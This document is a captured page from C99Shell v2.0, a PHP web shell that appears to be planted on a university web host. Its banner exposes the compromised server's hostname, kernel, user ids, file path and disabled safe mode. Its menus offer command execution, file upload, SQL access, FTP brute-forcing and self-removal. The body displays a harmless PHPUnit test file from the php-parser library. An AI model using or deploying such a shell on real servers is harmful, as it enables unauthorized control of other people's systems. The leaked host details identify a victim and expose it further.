!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ClassTest.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser\Node\Stmt;

class 
ClassTest extends \PHPUnit_Framework_TestCase
{
    public function 
testIsAbstract() {
        
$class = new Class_('Foo', array('type' => Class_::MODIFIER_ABSTRACT));
        
$this->assertTrue($class->isAbstract());

        
$class = new Class_('Foo');
        
$this->assertFalse($class->isAbstract());
    }

    public function 
testIsFinal() {
        
$class = new Class_('Foo', array('type' => Class_::MODIFIER_FINAL));
        
$this->assertTrue($class->isFinal());

        
$class = new Class_('Foo');
        
$this->assertFalse($class->isFinal());
    }

    public function 
testGetMethods() {
        
$methods = array(
            new 
ClassMethod('foo'),
            new 
ClassMethod('bar'),
            new 
ClassMethod('fooBar'),
        );
        
$class = new Class_('Foo', array(
            
'stmts' => array(
                new 
TraitUse(array()),
                
$methods[0],
                new 
ClassConst(array()),
                
$methods[1],
                new 
Property(0, array()),
                
$methods[2],
            )
        ));

        
$this->assertSame($methods$class->getMethods());
    }

    public function 
testGetMethod() {
        
$methodConstruct = new ClassMethod('__CONSTRUCT');
        
$methodTest = new ClassMethod('test');
        
$class = new Class_('Foo', array(
            
'stmts' => array(
                new 
ClassConst(array()),
                
$methodConstruct,
                new 
Property(0, array()),
                
$methodTest,
            )
        ));

        
$this->assertSame($methodConstruct$class->getMethod('__construct'));
        
$this->assertSame($methodTest$class->getMethod('test'));
        
$this->assertNull($class->getMethod('nonExisting'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0374 ]--